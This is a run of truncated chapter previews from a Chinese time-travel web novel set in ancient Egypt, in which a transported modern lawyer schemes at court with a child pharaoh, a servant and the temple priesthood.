果然,阿曼特红着眼眶,委委屈屈地点点头:“我花了全部身家,我现在一个子儿都没有了。” 伯伊同情地看着他,眼底却飞快地闪过一抹笑意,他缓了下才开口说道:“其实我有个办法可以让你不被调走,但这需要你的配合。” 阿曼特愣了愣,迫不及待地问:“什么?我都可以配合,只要别把我调走!” 伯伊说:“如果你成了我们的人,王后就不会再给我安排新的随侍。” 伯伊承认自己用了一点小小的文字技巧。 事实上,王后安排来的人表面上是配合他,其实最重要的目的是监视他,例如塔那罗,掌权者,最忌讳的就是背叛。 哪怕是梅丽特这样站在了权力巅峰的人。 所以伯伊从来没想过拉拢塔那罗,他可不希望自己的筹谋才刚开始就被一个贪婪的小人物给搅了局。 阿曼特懵了好一会儿,才不敢置信地说:“您的意思是我可以成为您的亲随?” “对,”伯伊微微颔首,“但这并不容易,你需要向王后证明你的忠诚和能力。” 阿曼特没想到还会有这样的峰回路转,这可是梅丽特王后,他进宫两年,甚至没能和芭斯泰特宫殿的人说过一句话。 那些人眼睛都长在天上,可不得了了。 “我,我真的可以吗?”阿曼特怀疑自己是在做梦,甚至想要给自己一巴掌,看看疼不疼。 “当然。”伯伊面带微笑,“你很幸运,我花了两年才能得到王后的青睐。” 阿曼特激动地说话都结巴了:“那那,那我要如何展现自己的能力和忠诚呢?” 伯伊:“别着急,这会是一个比较漫长的过程,你知道的,权贵们的信任总是很难得到。” 阿曼特当然明白,他亲眼目睹一位芭斯泰特的侍女因为说错了话而被杖毙。 “请大人指点,”阿曼特又是兴奋又是忐忑,“我现在浑身使不完的劲儿,想要证明自己。” 伯伊轻笑,要的就是这样的效果。 “首 9. 蒙尘的宝石 《穿到法老身边做权臣(古埃及)》全本免费阅读 两人才刚刚出宫,没走几步就突然听到身后有声音。 伯伊回头,正好看到拉赫里斯和一个小随从大步走来。 说是大步也只是针对拉赫里斯气势汹汹的架势,毕竟他的腿实在是撑不起来这个词,伯伊想着,忍不住笑了下。 “你在笑什么?”拉赫里斯拧着眉,十分敏感,下意识扯了下自己的衣摆。 伯伊敛住笑容,状若无事地说:“我没笑,陛下您看错了。” 拉赫里斯盯着他,越发肯定这人心里没想什么好东西。 “陛下怎么出来了?”伯伊瞥了眼拉赫里斯身后的宫殿,“我给你布置的课业做完了?” 说到这个拉赫里斯就气不打一处来:“你骗我,那个明明是神庙!” 伯伊居高临下,漫不经心地一笑:“哦?陛下这次又是听了谁的话?” 拉赫里斯指着身边的小随从说:“托德。” 伯伊顺着他的手指看向那个小随从,问:“你是神殿安排给陛下的人?” 按理来说,随侍是不可能有接受教育的机会的,除非他本身隶属于权利集团。 以神殿和梅丽特两方对待这小法老的态度来看,这个权利集团没有意外就是神殿了。 托德一愣,说:“对,我之前是神殿的小祭司。” 伯伊了然地点点头,偏头对找到底气的拉赫里斯说:“你看,本质上你不过是相信神殿,这和你相信诺菲斯大祭司有什么区别呢?一样的鼠目寸光。” 拉赫里斯又是一梗,半天才找回自己的声音:“那你总该有让我相信的基础,不然我凭什么相信你?” 伯伊反问:“那你为什么相信神殿?” 拉赫里斯正要回答,伯伊没有给他机会继续说道:“因为神殿帮助你?那你怎么知道梅丽特王后不会帮你呢?” 拉赫里斯黑着脸反驳:“梅丽特怎么可能帮我?” 众所周知,梅丽特对他几乎是全方面压制,不然他也不会九岁才启蒙读书。 伯伊挑眉:“那是谁让你做法老的?” 拉赫里斯咬牙,暗金色的眸子紧紧盯着伯伊,一字一句地说:“如果可以我才不想坐这该死的位置。” 非朝会期间,宫殿门口显得十分冷清,伯伊和拉赫里斯站在门口,反倒引得哨岗的护卫频频侧目。 伯伊双手抱胸,不轻不重地笑了一声:“你应该庆幸神明没有给众生太多选择的机会,这才让你有机会站在这里和我婆婆妈妈地抱怨,而不是躺在菜板上当一块死猪肉。” 说罢,他伸出手,本来是想指在对方肩膀上,但还没碰到又缩回了手:“挂到脖子上的饼你都吃不到,那是你能力问题,脑子用不上可以还给神明,如果他们愿意回收的话。” 拉赫里斯以为上次伯伊的那些就已经足够羞辱,直到他听到了现在的这番话。 血液有瞬间地上涌,往脑子里冲,但神奇地是,在这样极端的情绪下他甚至还注意到对方收回手的小动作,充满了嫌弃。 这么短的时间,我竟然就已经有耐受性了,拉赫里斯想。 甚至他觉得对方说得很对,多么可怕的事情,他竟然认可一个奴隶对自己的羞辱。 伯伊转身朝着原定的方向走,脸上零星半点波澜在短暂的两步路中消失殆尽。 如果在他身边的人是夏行,就会知道,他打心底地憎恶那些出身在罗马,还在抱怨上天不公的人。 当然他几乎不会表现出来,在所有人面前他向来维持着来者是客的公平态度,这是他的职业素养。 不多时,身后又响起了两道脚步声。 阿曼特小心翼翼地打量着自家大人的脸色,暗自揣摩,不知道该不该说话。 他的动作实在是刻意,伯伊很难不注意道:“想说什么?” 阿曼特避着后来两人的视线,偷偷竖起一个大拇指:“阿伊大人,我再次深刻地明白,王后为何如此看重你。” 敢这么指着法老鼻子骂的,阿伊大人绝对是古往今来第一人。 阿伊扬了扬唇角说:“这就是跟随梅丽特王后的好处。” 阿曼特目露憧憬:“我一定好好干。” 两人身后,拉赫里斯若有所思地跟在后面,托德小跑着走在他身侧,压低声说:“陛下……” 他本来想说,把这该死的奴隶送到麦德查人去,但想到上次陛下的话,忍了忍,换了另一番说辞:“梅丽特王后的人实在是张狂,完全不把您放在眼里。” 拉赫里斯淡淡看他一眼,收回目光,心想,都是奴隶,怎么差距就这么大。 两对人一前一后地走,出宫前,拉赫里斯就已经摘了王冠,因为上课他穿得本就素净,除了身上衣服的料子比旁人好上一些,白净一些,倒也没有太大的区别。 哨岗的护卫看了好一会儿,眼看法老出了宫,犹豫了下,询问身边的同僚:“法老出宫了,我们需要安排人跟上去吗?” 同僚想了想,小声说:“不用吧,梅丽特王后应当不喜欢咱们多管闲事。” 梅丽特从来不限制法老离宫,众人都猜测,也许梅丽特王后是期待法老在宫外遭遇不测的。 当然本人没有明着表现出来,其他人也只敢偷偷议论。 “好吧,反正法老没有叫安排护卫队,咱们就当什么都没有看见。”护卫说。 因为环境和材料的限制,埃及修建的房子多是用泥土掺着稻草晒干成砖盖成的,楼层不高,放眼看过去,最高的也不过就是两层。 手艺人会在自家门口放置工具和产品售卖,也有人背着箩筐带着东西,脚步匆匆地赶往集市。 伯伊从穿越过来就一直在王宫里,这还是他第一次看到古埃及的民间生活场景。 如果一定要用一个字来形容,那就是穷。 泥土盖的房子,因为沙漠,没有修路,更别说道路规划,哪怕房子规格一样也显得杂乱没有章法,大概是前些时日下了一场雨的缘故,地势比较矮的地方还积了水,四处坑坑洼洼,泥泞不堪。 沿途的行人都带着面纱抵挡常年不散的风沙,亚麻布衣服下是晒得黝黑的皮肤和嶙峋的骨感。 伯伊记得向导小姐说过,古埃及人在农忙时会管理自己的土地,其余时间则是去修建金字塔,方尖碑,神庙。 至于报酬只有可怜的两顿餐食,稀粥配面包,哦,还有说不上高明的啤酒。 按照现代人的眼光来看,这里不像一个王朝的黄金开端,更像是某个不被看重的偏远落后地区。 又经过一处泥潭,恰好有人经过,一脚踩进去溅起斑驳的泥点子。 伯伊闭了闭眼,几乎是用全部的意志克制自己做出绕路走的行为。 在这没有修路的地方,走哪里都是一样的,这么做只会让自己显得格格不入,仿佛是个耍猴的。 “陛下,我们不回去吗?”托德不懂陛下为什么要跟在那个奴隶后面。 拉赫里斯看都没看他:“闭嘴。” 托德撇撇嘴,不敢多说,老老实实跟着自家陛下。 拉赫里斯快走几步到伯伊的身边,视线探究地略过他的脸:“据我所知,你是奴隶出身,你的家乡在哪里?” 他很好奇,到底是怎样的国家能养出阿伊这样的人—— 胆大妄为,说话刺耳气人,但不可否认,冷静下来深思,每一句话都蕴含着一些哲理,从没有人和他说过这些东西。 在埃及是没有奴隶的,现有的奴隶都是战争中的俘虏,以及这些战俘的后代子孙。 “严格来说,我们并不是能和平讨论这个话题的关系。”伯伊说。 他哪里知道阿伊是哪个国家的人,但战俘和统治者后代确实是没什么共同语言。 这一点无可指摘。 拉赫里斯挑眉:“也是,毕竟你是失败者的后代,失败者不配拥有姓名。” 伯伊不紧不慢地看他一眼,心想,这只小猫还真是一点都学不乖。 “但很遗憾你没有继承成功者的任何优点。”他说,视线在少年矮了自己一个头的发旋上略略停留,暗示意味十足。 如果站在他面前的是个现代人,就会知道不要和一个声名狼藉的律师耍嘴皮子,不会赢,而且对方还毫无风度,不会因为你是一个九岁的孩子而礼让三分。 拉赫里斯梗了一下,觉得自己应该会很生气,但并没有,他现在的心态莫名地还挺稳定,甚至还有心思点评,这是对方正常发挥的水准。 “法老——”突然一声尖锐的声音响起,“天哪,是法老!” 拉赫里斯微怔,下意识回头去看声音的来源,一个女人丢掉手里的篮子,踩着泥潭往他们这边跑,泥水飞溅在她发黄的亚麻布裙衫上。 随着她这一声叫喊,周围的人全都把视线投向了他们。 短暂的安静后,人群中爆发出惊叫,如海浪扑向几人,刚刚还各自忙碌的众人突然间就拥有了共同的目标—— 拉赫里斯,埃及的法老。 “陛下,请你救救我的孩子。”最先发现拉赫里斯的女人一边跑一边叫嚷,“请您恳求阿努比斯不要带走他!” 女人神情几近癫狂,因为没注意脚下被篮子绊倒,这一下摔得狠,半天没能爬起来,即便如此,她还是在地上爬,手脚并用地往前爬,苍老的手一直往前伸,几乎要抓到拉赫里斯的脚踝。 拉赫里斯只是略略犹豫的时间,女人的手已经碰到了他的脚背。 “感谢神明,”女人兴奋地浑身都在颤抖,“感谢仁慈的法老,我的孩子有救了,拉神的光芒会照耀我的房屋,为他带来新生!是新生!” 女人的触碰就像是触动了某一个开关,引发所有人的狂热。 本来还有点犹豫的众人纷纷朝着拉赫里斯跑过来,一些跪拜行礼的人也忍不住站起来往这边走。 “陛下,请让拉神也关照于我。” “陛下,我的家人们总是吃不饱,是不是我对拉神的贡品不够。” “陛下,我真的非常需要普塔的关怀,帮助我渡过难关。” 周围的人全都在涌过来,吵吵嚷嚷地听不清他们在说些什么。 拉赫里斯还在愣神,最先反应过来的是伯伊,他下意识想要后退拉开和拉赫里斯的距离,哪怕不知道发生了什么,但直觉告诉他这不会是一件好事。 但后面涌上来的人撞上他的后背,挤着他往前走,完全无法抵抗这几十上百人的力量。 少年微薄的仁慈,让这些渴望与神明接触的民众几欲疯狂。 眼看要撞到拉赫里斯,伯伊下意识伸手,想要把自己和拉赫里斯架开距离,无数双手从他的身后伸出来,近乎贪婪地抓上拉赫里斯的身体。 伯伊毫不怀疑,这些人想要把眼前的少年撕碎拆分。 在手触碰到自己的同时,拉赫里斯就已经从茫然中回过神来,但想走已经迟了,前后的路被完全堵死。 托德用力地搡开触 10. 净身 《穿到法老身边做权臣(古埃及)》全本免费阅读 自从上次和拉赫里斯谈过以后,伯伊没单独找过对方,直到又轮到周一授课,他才款款出现在小法老面前。 “我还以为你又撒谎了。”拉赫里斯扯了扯嘴角。 聊完就不见人影,换谁能不疑心,尤其他们的目标是扳倒梅丽特这样的对手。 伯伊略一挑眉:“我的要求是什么?” 拉赫里斯沉默了下,很干脆地说:“……我道歉。” 他们合作的前提只有一个,坚定地选择相信伯伊,但才开始他就没忍住破坏了规则。 托德小跑上前,帮伯伊拉开座椅,伯伊微微颔首坐下。 见没自己什么事情了,托德欠身后退,一直退到宫殿外,他没忘记阿伊大人交给他的神圣任务。 “我们要怎么做?”拉赫里斯面上神色镇定,但这个问题还是暴露了他心内的急切。 他很想知道面前的这个人到底打算怎么做。 两个人中间隔着书桌,但许是因为情绪波动,少年并没有注意到自己前倾的身体与对方的距离稍微近了一点。 暗金色的眼眸里倒映着伯伊的身影,还有花窗倾泻的光。 伯伊眉梢微动,伸出一根手指。 拉赫里斯没看懂这手势的意思,心想难不成是什么暗语? 伯伊微微一笑:“首先,无论是什么时候都要和我保持社交距离,我讨厌别人离我太近。” 他不清楚古埃及的长度单位,于是用手在书桌上划出一条道,大概一米五左右。 “这就是社交距离。” 拉赫里斯不是第一次看到这个人对自己的嫌弃了,和喜欢装腔作势的那些人不同,这人的嫌弃明明白白地摆在脸上。 很多时候他想生气,都会因为对方这样的坦荡开始反思,是不是自己太过计较了。 拉赫里斯忍了忍,点头说好,并按照伯伊的要求往后退了两步。 伯伊满意地颔首,这才开始进入正题:“我们的目标是一个很漫长的过程,这需要非常多的筹谋,这好比两方对弈,棋差一着,就是满盘皆输,你要把它当做战场去厮杀。” 他和拉赫里斯定下约定的时候,托德和阿曼特被民众堵在路上,所以这件事除了他们彼此,没有第三个人知道。 当然也不排除拉赫里斯会把这件事告诉其他人,但只要不是梅丽特,对他来说就没有太大的影响。 毕竟在神殿眼里,他现在可是自己人,扳倒梅丽特可不就是神殿现阶段的终极目标吗! 大概是为了今天的对话不泄露出去,宫殿里连侍奉的宫人都没有留,大殿上一旦没人说话,就显得格外安静,甚至听得到对方的呼吸声。 拉赫里斯努力地在理解对方话语的意思,他自己也很清楚,梅丽特是怎样难以撼动的存在。 伯伊拿出教辅资料摊在桌上:“首先,我需要知道你和神殿之间的关系,以及你有没有其他的底牌。” 拉赫里斯想了想,说:“神殿想要扳倒梅丽特,他们认为我是一颗很好用的棋子,但他们有任何计划并不会和我沟通,除非与我有关。” “底牌呢?”伯伊神色懒懒地,就好像只是随口一问。 拉赫里斯摇摇头:“我母亲是外族人,在埃及没有任何势力,在家乡只是一个落魄的小贵族之女,在我四岁的时候自尽,后来我就被梅丽特扶上来做了法老王。” 短短几句话,已经说尽了他迄今为止的全部人生。 伯伊看着他,目光在少年的脸上游走一圈,少年似乎是不适应这样的对视,略带忐忑地垂下眼,伯伊淡淡收回视线。 “我再提一个要求。”他说。 拉赫里斯抬眼:“什么?” 伯伊说:“不想说的事情你可以拒绝,但不能撒谎。” 桌子脏了,他可以擦干净,但他不喜欢自己费心思擦了,结果发现桌子上其实是防水颜料。 拉赫里斯一愣,手下意识捏住了衣角。 “你的底牌是神殿吗?”伯伊问得很直接,这关乎到他接下来的计划能否成功实施。 拉赫里斯否认:“不是,在他们眼里我只是一个傀儡。” 伯伊颔首,明白了。 “我不管你还有什么底牌,但我和你说的东西,你不能告诉任何人。”说到任何人几个字,伯伊的语气略略加重。 彼此都很清楚这任何人具体指的是谁。 “这一点我可以保证。”拉赫里斯做出承诺。 他不知道对方是怎么看出来的,但也因为对方没有逼问而松了口气。 “我们现在要做什么?”这是拉赫里斯最关心的问题。 他很想知道面前这个扬言能扳倒梅丽特王后的奴隶到底准备怎么做。 伯伊挑眉:“按兵不动。” “什么意思?”拉赫里斯心想,是什么都不做的意思吗? 伯伊倚靠着椅背,姿态轻松:“猎人的脚步轻盈,因为他知道自己是自然的一部分。” 拉赫里斯沉默,隐隐明白了这句话的意思。 埃及贵族有狩猎活动,不过大多数时间他都是站在高台上观看,真正接触到狩猎反而是在他没有成为法老以前。 他曾跟随一个老猎人去荒野狩猎,再蚊虫肆虐的草丛里,老猎人披着草披,一动不动地蹲了一整天。 那天,他亲眼见到,一只身材健硕的豹子毫无抵抗地被箭刺穿脖颈,没有任何还手的余地。 甚至它都不知道敌人是自己一贯瞧不起的,柔弱无力的两脚兽。 伯伊难得慷慨地多解释了一句:“我们要等,等猎物走到我们的射程以内。” 而在此之前,他们需要做的就是足够的耐心,以及不要被有可能成为猎物的对象发觉自己的存在。 对于这一点,现在的他们占据很大的优势。 一个无权无势的男宠,一个被架空的法老,在这宫殿里没有比他们更容易被忽视的了。 “目标是谁?”拉赫里斯问。 他不至于蠢笨到以为他们第一个目标就是梅丽特。 伯伊耸耸肩,笑了下说:“狩猎需要一些运气,有时候是兔子,有时候是羚羊,谁知道呢。” 拉赫里斯点点头:“我明白了。” 总的来说就是等。 “阿伊大人。”阿曼特小碎步走上前,站在台阶下等候。 伯伊偏头看向他,按理来说,他的授课还没结束,阿曼特不会这么早回来才是,除非是遇上了什么事情。 一旁的拉赫里斯也抬起头,不知道这个小随侍是有什么事情。 阿曼特犹犹豫豫地看了眼拉赫里斯,不知道事情现下说合不合适。 “你说吧。”伯伊并不介意把阿曼特的消息分享给小法老。 阿曼特欠了欠身,说:“刚刚我遇上了神殿的阿克里斯祭司,祭司让我给大人带个信儿。” 伯伊回忆了下,记忆里完全没有这个名字。 “祭司说您一直没去神殿报道,让我提醒您,明天是洗礼日,请你务必要到场。”其实阿克里斯祭司还说了许多嘲讽阿伊的话,阿曼特觉得会破坏大人的心情,于是擅作主张给省略了,只说了最重要的部分。 暗桩的身份只有巴特巴尔和上面的几位大祭司知道,在其他人眼里,伯伊还是梅丽特的男宠,讨人厌的家伙。 伯伊愣了下,去神殿报道? 似乎是看出自家大人的困惑,阿曼达好心地提醒道:“大人,您是不是忘了,你先知以外的身份是祭司……” 伯伊思考了下问:“祭司需要做什么?” 他一天祭司没当就自荐做了法老的先知,哪里知道祭司还要去报道,还有其他工作。 “最重要的是日常祭祀。”阿曼特说,“神殿一般还会安排其他的工作,打理神庙的账目,主持丧葬,观测星象等等,很多。” 伯伊明白了,点点头说:“好,我知道了,明天我会去的,还有其他事吗?” 阿曼特躬身:“没有了。” 伯伊:“那就去偏殿休息吧,陛下这里的课程还有一会儿。” 阿曼特说了声是,退出宫殿,等确定没人看见,他立刻又甩着手往前朝去。 半路被阿克里斯祭司拦下,他怕对方怀疑,所以才又折返回来,他还要去和大臣家的仆役聊天呢。 “这是你布置的课业。” 面前递过来一摞莎草纸,伯伊垂眸看了眼,象形字本来就抽象,在少年更抽象的加工下,几乎分辨不出来到底写了什么内容。 “你这是在敷衍我?”他问。 拉赫里斯的脸立刻就黑了:“你一个奴隶还要求这么多。” 事实上,这已经是他写了第十遍的效果了,要不是时间来不及,也许还会练习更多。 伯伊嫌弃地啧了一声,看也没看地摆摆手:“那就等你练好了再交给我,我有头疾,看不了丑东西。” 拉赫里斯暗暗咬牙,用力地收回莎草纸:“不要罢了,总归我不会重写。” 伯伊无所谓地点点头:“随你。” 看他这态度,拉赫里斯又被气到了,心想,幸好这奴隶只有自己一个学生,不然身上要背多少人命。 气都气死了。 “我们今天学什么?”担心继续之前的话题,自己会心梗,于是主动换了一个话题。 伯伊把书桌上的教辅翻开,跟上次一样翻了两页:“这次抄这两页吧。” 拉赫里斯学着他刚才的语气问:“……你是在敷衍我?” 伯伊一摊手:“爱做不做,反正课业我布置了……” 话没说完,就被拉赫里斯黑着脸打断:“我 11. 逗弄 《穿到法老身边做权臣(古埃及)》全本免费阅读 净湖正如它的名字,是法老宫殿附近的一处绿洲,湖水呈现碧蓝色,仿若神明掉落人间的一块蓝宝石。周围有着高大的椰棕和仙人掌,郁郁葱葱,展现出旺盛的生命力。 伯伊很难说自己现在是怎样的心情。 站在净湖面前,他第一次在这个古老文明前感受到什么叫人在屋檐下不得不低头。 “阿伊大人,需要我为您安排人吗?”净湖的管事小跑上前,对着伯伊躬身作礼。 显然,在此之前他就已经收到了通知。 “不用。”伯伊面带微笑地吐出两个字。 管事只负责看守净湖,不懂神殿的弯弯绕绕,平日里大多数祭司在净身的时候都不喜欢旁的人伺候,所以他也没多想。 没有人会冒犯神明,成为祭司是每一个祭司整个人生最有意义和价值的事情,即便是死亡也要刻在墓碑上的荣耀。 来到这里的每一个人都会带着崇敬,洗净身体每一寸脏污。 净身用的房间在伯伊看来和现代的桑拿房差不多,很温暖,放着一桶温水,还有几把崭新的刀片和肥皂,准备非常齐全。 别说,他们这剃毛的方法无痛且科学。 伯伊走到桌前,拿起单薄的刀片在手上比划了一下。 森寒的刀刃反射着冷光,刃面锋利,刮在皮肤上能感觉到微微的刺痛,两根淡色的毛发飘飘荡荡地落在桌面的白布上。 “那阿伊大人我在外面等着您?”阿曼特询问。 伯伊瞥他一眼说:“你去帮我把假发的护理油拿过来。” 阿曼特愣了下,他不知道阿伊大人有这东西,更不知道放在哪里的。 护理油啊…… 他的视线不自觉落在阿伊大人的头发上,这一头柔顺漂亮的头发竟然是假发吗?? 阿伊本身是一头及手肘的长发,伯伊穿过来后虽然嫌麻烦,但平日都披散在身后倒也不算费事,于是就没有动它。 阿曼特震惊地瞪大了眼睛,很想知道这假发是怎么制成的,这也太漂亮了。 如果是这样的假发,他倾家荡产也要买上一顶。 哦,他现在一个子儿都没有,果然还是应该睡觉,梦里啥都有。 “应该是在书房的抽屉里。”伯伊说。 阿曼特一步三回头地走出房间。 等人离开,伯伊在管事的注视下神色淡定地关上门,再次回到桌前。 其实他并不是一个汗毛茂盛的人,颜色也是很浅的咖色,但毛少和没毛是两个概念。 古埃及因为气候和环境,风沙大,但水源珍贵,很难做到勤洗澡洗头,所以很多人为了保持清洁,会选择把头发和毛发剃光,这也导致了古埃及假发非常盛行。 对他们来说,假发是很便捷,好打理的工具,符合时下对美的追求,上到贵族,下到平民都会制作购买假发。 平民的假发大多是用羊毛,棉花,植物纤维等材料,而贵族则会更倾向于真发制作的款式。 在古埃及假发不仅仅是时尚的象征,更是社会地位的体现。 这全民追崇的假发爱好持续了三千多年,才因为罗马帝国的影响而逐渐消失。 没有人会贸然地要求对方摘下假发,就好比不会有人要求别人卸掉脸上的妆容。 这是多么该死的冒犯与无礼。 伯伊在博物馆见过很多出土的假发,所以他的头发勉强能用假发糊弄过去,这里的人大概率不会想到有人竟然会做出冒犯神明的事情。 他们坚信,如果有人心存不敬,巴乌会比他们更快地发现那个人,并且狠狠地惩罚。 不过他们不知道的是,即便是穿越了,伯伊本质上还是一个无神论者。 比起所谓的神明安排,他更愿意相信是量子粒子在时间中旅行导致的结果,或者更早一些爱因斯坦狭义相对论中关于时间膨胀的部分,广义相对论中,强重力场也可以导致时间的变化。 可以解释的理由很多很多,科学的境界广袤无垠,总会有一些意外发生,也是这些意外引领了一次又一次的历史进程。 不过解决了头发,身上的毛发就没办法了。 伯伊低头看了眼身上的衣服,沙漠气候两极分化,白天热得人焦躁,就这么穿一块布还觉得热,到了晚上就得加厚重的斗篷。 总不能为了身上的毛发,每天把自己包成木乃伊在四十多度的气温下活动,在这没有空调的时代,真的会死。 伯伊垂着眼,用水打湿身上,然后涂抹肥皂,再上刀片。 有了肥皂的润I滑,剃毛完全无痛,十分丝滑地带走一根又一根的毛发。 阿曼特回来的时间和伯伊计算的没差多少,那时候他已经沐浴结束,穿上衣服,还多坐了一会儿才走出房间。 “阿伊大人,我没找到护理油。”阿曼特是一路跑着回来的,喘得像是一口气犁了十亩地的老黄牛。 伯伊神色不动地点点头:“可能是我记错了,等回去了我自己找吧。” 阿曼特对于自己没完成大人的任务感到十分挫败,整张脸都拉I□□来。 伯伊瞥了眼,收回视线,对着净湖的管事说:“劳烦大人特意跑一趟,这是请大人喝酒的小心意,还请大人不要嫌弃。” 管事愣了愣,低头去看塞进自己手里的东西,一对红宝石打造的耳环,在火烧云的映衬下仿若在燃烧。 漂亮! 管事在心底赞叹一声,实在是太精致了,哪里是他用得上的东西。 等他回过神来再去看,耳环的主人已经带着随侍走远,清瘦背影走在薄凉的月色下,一头柔顺的黑发被吹散,摇曳在晚风里。 管事愣愣出神了好一会儿,直到有人问他怎么还不回家,他才恍然回神,下意识握紧了拳,藏住了手心那一抹火焰红。 - 翌日。 天还没亮,伯伊就被塔那罗唤醒。 “大人,您该去神殿了。”塔那罗出声提醒。 伯伊睁开眼,看了眼窗外,天色漆黑,估计五点都还不到。 到底是什么人要四点起床上班。 以前忙工作,伯伊也没少通宵达旦,但那个时候的熬夜是值得的,因为他的时间是按小时来算钱。 但现在,就算一天干24小时,也只能解决温饱。 伯伊突然觉得有信仰也是一件好事,至少在这种时候会满怀虔诚地起床。 因为要去神殿,他甚至连早餐都没能吃上,祭司要先伺候神明用餐,然后才是解决个人问题。 赶到神殿的时候,天仍旧是黑的,但神殿灯火辉煌,穿着白色祭司服的人来来往往,每个人看上去都十分忙碌。 檀香充斥在整个空间,无处不在,借着明亮的灯火,能看到青烟袅袅升起。 神殿的风格和伯伊在后世参观的神庙非常相像,正面是大殿,供奉着伟大的阿蒙神,塑像有五米多高,相当于现代的两层房屋。 侧面则是分作几个大空间,分别是文书室,会议室,图书室。 乍看四五十人共处的空间,但却格外安静,所有人都保持着无声地状态在工作。 不得不说,古埃及人的建筑风格用上巍峨宏伟这个词恰到好处。 这对于住习惯了现代温馨小屋的伯伊来说,甚至有点巨物恐惧症,这个地方除了人,什么东西都喜欢往大了去做。 就连树木都要放在巨大的花盆里栽种,养在宫殿里,墙角的花瓶都比人要高。 “阿伊大人。”一位小祭司注意到站在门口的伯伊,上前行礼,自我介绍道:“我是泰缇,阿克里斯大人让我在此等候您。” 伯伊对着他略一点头:“抱歉,让您久等了。” 泰缇有些诧异于他的有礼,毕竟梅丽特王后安排进来的人向来眼睛都长在天上,但他也没多说什么,抬手示意跟着他走。 伯伊跟在他身后,这才发现阿蒙神的神像背后,竟然还有一个空间。 “这里是内殿的外间,平时大祭司们主持祭祀的地方。”似乎是考虑到伯伊对这个工作场所的陌生,泰缇主动出声介绍道。 伯伊没说话只静静地听他说。 “图书室是神殿记录法老生活起居以及埃及年史的地方,需要什么资料可以去向那里的祭司申请取用,”泰缇说,“文书室是神殿管理账目的地方,非必要不要去。” 说到这,泰缇视线带着警告的意味,加重了语气。 伯伊猜测大概是梅丽特的人曾经试图进入文书室,不管成功与否,至少神殿如今非常反感外人进入这个区域。 “到了。”泰缇停下脚步,对着前面的人行礼,“托德大人,阿伊大人到了。” 站在内殿门口的人可不就是跟在拉赫里斯身边的托德。 伯伊挑了挑眉,看向他后面的房间,托德对他点点头,推开身后的门说:“陛下说您到了可以直接进去。” 伯伊没有多想,径直走进房间。 房门在他身后缓缓关闭,室内的光线明亮,少年法老王穿着白色的衣袍,带着麦穗王冠,站在神像前拨弄烛台,动作娴熟而虔诚 12. 神殿的工作 《穿到法老身边做权臣(古埃及)》全本免费阅读 “你的手臂怎么了?”拉赫里斯突然注意到伯伊的手臂。 白皙的手臂上红了一片,看上去颇有些触目惊心。 伯伊嗯了一声,顺着他的视线往下看,看到自己的手臂,不在意地摆摆手:“没事,我皮肤比较敏感。” 他的皮肤薄,毛细血管比较密,不小心磕到碰到就会留下痕迹。 说来也是很巧,这个阿伊竟然也是这样的敏感体质。 昨天他剃毛的时候没觉得有什么,一回宫殿,手臂后知后觉地开始疼,昨晚红得还要更吓人一些。 “撞到了?”大概是这人皮肤实在是太白了,以至于他甚至都忘记了这家伙刚刚对自己的羞辱,关注瞬间被这片红给带偏了。 伯伊瞥他一眼:“小孩儿不要管大人的事情。” 拉赫里斯:? “你也才比我大七岁。”拉赫里斯不高兴地反驳。 伯伊:“但我比你高这么多。” 伯伊用手拉出两人之间的差距,六十公分却犹如天堑。 拉赫里斯一梗,黑着脸说:“兑现你的承诺。” 等他长高,成为强壮的男人,一定要把今日的耻辱狠狠报复回来,让这个奴隶后悔今天说过的每一句话。 “我上次看到市场有人在售卖牛奶,那应该是有牛奶的吧,每天早晚一杯,”伯伊说的其实就是现代人最常用的理论,“吃牛羊肉,鸡蛋,鱼类,豆类,多运动跑步跳高……” 稍顿他又补了一句:“还有多睡觉。” 阿蒙霍特普家族的基因很好,这小法老估计是发育期比较晚,加上营养不均衡,所以才显得格外瘦小。 拉赫里斯从没听说过这些奇怪的理论,迟疑了下说:“你就是这样长高的?” 伯伊略一挑眉,笑道:“对,我就是这样长高的。” 他不清楚阿伊是怎么长的,也许也是基因好,确实比身边的人都高,他测量过,十六岁的阿伊大概有一米七还多。 不过这套理论是经过现代科学认证的,补充蛋白质,钙,维生素,还有充足的睡眠和适当的运动,就是长高的外部因素。 “贫民能吃到牛羊肉?”拉赫里斯眼里充满了质疑。 以自己的了解,平民日常饮食非常简单,大多都是以素食为主,面包,蔬菜,水果,肉食非常有限,想要完成这套长高理论并不是容易的事情。 更何况这人的前身还是奴隶,奴隶只配喝稀粥,哪怕是啤酒都是贵族们偶尔大发慈悲的恩赐。 伯伊抱着手,闻言耸耸肩:“那你一定不知道,贫民窟总有很多求生的方式。” “例如?”拉赫里斯问。 伯伊回忆了下,说:“比如等在贵族的猪圈里,或者去垃圾场,贵族们的恩赐非常丰厚。” 他说这话时,眉眼都带着笑。 “你……”拉赫里斯微怔。 看惯了这奴隶的张狂,很多时候他甚至会忘记对方的奴隶地位,哪有奴隶这么嚣张的。 “你父母呢?”拉赫里斯问,“你的父母不养育你吗?” 要知道如果被贵族知道,自己吃剩的东西被奴隶吃了,贵族们会非常愤怒,贵族的愤怒往往意味着死神欧利西斯即将探访。 没有贵族能够忍受自己的东西被奴隶触碰,哪怕是他们吃剩不要的。 “父母,”伯伊唇角的弧度自然,“死了。” 少顷,他微笑着补充道:“现在父亲大概是死了。” “大概死了?”拉赫里斯从来没见过有人对生死如此含糊。 死了就死了,没死就是没死,什么叫大概死了。 “因为我来到这里以前,他生病了,”伯伊叹息一声,“很严重的病,照顾他的人说,他大概熬不过两个月。” 事实上,在他来到古埃及以前,他刚刚见过自己的父亲。 在监狱里,那个记忆中强壮有力的男人瘦得像是一块风干的腊肉,眼窝深陷,身上带着青紫的淤伤,手腕上是新旧不一的疤痕,一条盖着一条,让人联想到画素描时的排线,美感而富有艺术气息。 因为病痛的折磨早已神志不清,哪怕是见到了他,也只会重复一些咿咿呀呀的话。 明明已经这么老了,却跟个不会说话的婴儿一样,让人心生怜惜。 临走前,他给狱警塞了钱,希望对方能好好照顾自己的父亲,让他再多享受一下这美好的人生。 想到那个男人麻木空洞的眼神,伯伊还有些遗憾,如果不是法律不允许,他甚至想要在这个监狱任职,陪着父亲安度晚年。 拉赫里斯以为对方说的来到这里以前指的是进入王宫。 据他所知,阿伊两年前就跟着梅丽特了,但这以前他是怎样的人没有人知道,毕竟没有人会去试图了解一个奴隶的过去。 “你和你父亲关系不好?”哪怕对方一直面带微笑,但拉赫里斯的第六感告诉他,没有那么简单。 伯伊诧异地看向他:“怎么会,我欣赏这个男人,还有我的母亲,我很爱他们。” 